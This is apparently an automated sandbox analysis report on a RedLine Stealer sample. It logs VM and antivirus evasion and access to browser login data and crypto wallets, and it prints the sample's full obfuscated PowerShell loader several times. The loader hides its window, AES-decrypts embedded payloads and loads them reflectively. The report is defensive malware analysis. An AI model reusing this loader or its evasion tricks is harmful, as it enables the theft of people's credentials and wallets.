Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4907	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4837	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1994	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6864	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep count: 1994 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3532	Thread sleep count: 96 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: tmpEBDE.tmp.3.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: tmpEBDE.tmp.3.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: tmpEBDE.tmp.3.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: tmpEBDE.tmp.3.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: tmpEBDE.tmp.3.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: tmpEBDE.tmp.3.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: tmpEBDE.tmp.3.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: tmpEBDE.tmp.3.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: tmpEBDE.tmp.3.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: tmpEBDE.tmp.3.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: tmpEBDE.tmp.3.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: tmpEBDE.tmp.3.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: tmpEBDE.tmp.3.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: tmpEBDE.tmp.3.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\desktop\z52po0048857.cmd';$bczt='gervwptrvwpcrvwpurrvwprervwpntrvwpprvwprorvwpcrvwpessrvwp'.replace('rvwp', ''),'spdpwdlitdpwd'.replace('dpwd', ''),'entuuzwruuzwypuuzwouuzwinuuzwtuuzw'.replace('uuzw', ''),'elmnutemnutmmnutentmnutatmnut'.replace('mnut', ''),'lozlrdadzlrd'.replace('zlrd', ''),'friymjomiymjbiymjasiymje64iymjstiymjriiymjngiymj'.replace('iymj', ''),'cdttzhadttzndttzgedttzexdttztedttznsdttziodttzndttz'.replace('dttz', ''),'trupqeanupqesfupqeormupqefupqeiupqenupqealupqebupqelocupqekupqe'.replace('upqe', ''),'iqnqjnvqnqjoqnqjkeqnqj'.replace('qnqj', ''),'coqeenpqeenyqeentoqeen'.replace('qeen', ''),'crehwbeaehwbteehwbdehwbeehwbcehwbrypehwbtorehwb'.replace('ehwb', ''),'maqhwvinqhwvmodqhwvuqhwvleqhwv'.replace('qhwv', ''),'reoviqadloviqinoviqeoviqsoviq'.replace('oviq', ''),'devonzcomvonzpvonzrevonzssvonz'.replace('vonz', '');powershell -w hidden;$modules=[system.diagnostics.process]::($bczt[0])().modules;if ($modules -match 'hmpalert.dll') { exit; };function pwqul($pgjto){$arrhz=[system.security.cryptography.aes]::create();$arrhz.mode=[system.security.cryptography.ciphermode]::cbc;$arrhz.padding=[system.security.cryptography.paddingmode]::pkcs7;$arrhz.key=[system.convert]::($bczt[5])('bcbtvivey0t0lkwskdxwome/c90s1pvxxjn390crmts=');$arrhz.iv=[system.convert]::($bczt[5])('jbfpgwq+shjqd2awma012a==');$bcxun=$arrhz.($bczt[10])();$rcqyn=$bcxun.($bczt[7])($pgjto,0,$pgjto.length);$bcxun.dispose();$arrhz.dispose();$rcqyn;}function idutr($pgjto){$bkrdu=new-object system.io.memorystream(,$pgjto);$gnvgt=new-object system.io.memorystream;$atxgd=new-object system.io.compression.gzipstream($bkrdu,[io.compression.compressionmode]::($bczt[13]));$atxgd.($bczt[9])($gnvgt);$atxgd.dispose();$bkrdu.dispose();$gnvgt.dispose();$gnvgt.toarray();}$xzgdm=[system.io.file]::($bczt[12])([console]::title);$ibvad=idutr (pwqul ([convert]::($bczt[5])([system.linq.enumerable]::($bczt[3])($xzgdm, 5).substring(2))));$aauwz=idutr (pwqul ([convert]::($bczt[5])([system.linq.enumerable]::($bczt[3])($xzgdm, 6).substring(2))));[system.reflection.assembly]::($bczt[4])([byte[]]$aauwz).($bczt[2]).($bczt[8])($null,$null);[system.reflection.assembly]::($bczt[4])([byte[]]$ibvad).($bczt[2]).($bczt[8])($null,$null); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\desktop\z52po0048857.cmd';$bczt='gervwptrvwpcrvwpurrvwprervwpntrvwpprvwprorvwpcrvwpessrvwp'.replace('rvwp', ''),'spdpwdlitdpwd'.replace('dpwd', ''),'entuuzwruuzwypuuzwouuzwinuuzwtuuzw'.replace('uuzw', ''),'elmnutemnutmmnutentmnutatmnut'.replace('mnut', ''),'lozlrdadzlrd'.replace('zlrd', ''),'friymjomiymjbiymjasiymje64iymjstiymjriiymjngiymj'.replace('iymj', ''),'cdttzhadttzndttzgedttzexdttztedttznsdttziodttzndttz'.replace('dttz', ''),'trupqeanupqesfupqeormupqefupqeiupqenupqealupqebupqelocupqekupqe'.replace('upqe', ''),'iqnqjnvqnqjoqnqjkeqnqj'.replace('qnqj', ''),'coqeenpqeenyqeentoqeen'.replace('qeen', ''),'crehwbeaehwbteehwbdehwbeehwbcehwbrypehwbtorehwb'.replace('ehwb', ''),'maqhwvinqhwvmodqhwvuqhwvleqhwv'.replace('qhwv', ''),'reoviqadloviqinoviqeoviqsoviq'.replace('oviq', ''),'devonzcomvonzpvonzrevonzssvonz'.replace('vonz', '');powershell -w hidden;$modules=[system.diagnostics.process]::($bczt[0])().modules;if ($modules -match 'hmpalert.dll') { exit; };function pwqul($pgjto){$arrhz=[system.security.cryptography.aes]::create();$arrhz.mode=[system.security.cryptography.ciphermode]::cbc;$arrhz.padding=[system.security.cryptography.paddingmode]::pkcs7;$arrhz.key=[system.convert]::($bczt[5])('bcbtvivey0t0lkwskdxwome/c90s1pvxxjn390crmts=');$arrhz.iv=[system.convert]::($bczt[5])('jbfpgwq+shjqd2awma012a==');$bcxun=$arrhz.($bczt[10])();$rcqyn=$bcxun.($bczt[7])($pgjto,0,$pgjto.length);$bcxun.dispose();$arrhz.dispose();$rcqyn;}function idutr($pgjto){$bkrdu=new-object system.io.memorystream(,$pgjto);$gnvgt=new-object system.io.memorystream;$atxgd=new-object system.io.compression.gzipstream($bkrdu,[io.compression.compressionmode]::($bczt[13]));$atxgd.($bczt[9])($gnvgt);$atxgd.dispose();$bkrdu.dispose();$gnvgt.dispose();$gnvgt.toarray();}$xzgdm=[system.io.file]::($bczt[12])([console]::title);$ibvad=idutr (pwqul ([convert]::($bczt[5])([system.linq.enumerable]::($bczt[3])($xzgdm, 5).substring(2))));$aauwz=idutr (pwqul ([convert]::($bczt[5])([system.linq.enumerable]::($bczt[3])($xzgdm, 6).substring(2))));[system.reflection.assembly]::($bczt[4])([byte[]]$aauwz).($bczt[2]).($bczt[8])($null,$null);[system.reflection.assembly]::($bczt[4])([byte[]]$ibvad).($bczt[2]).($bczt[8])($null,$null); "			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
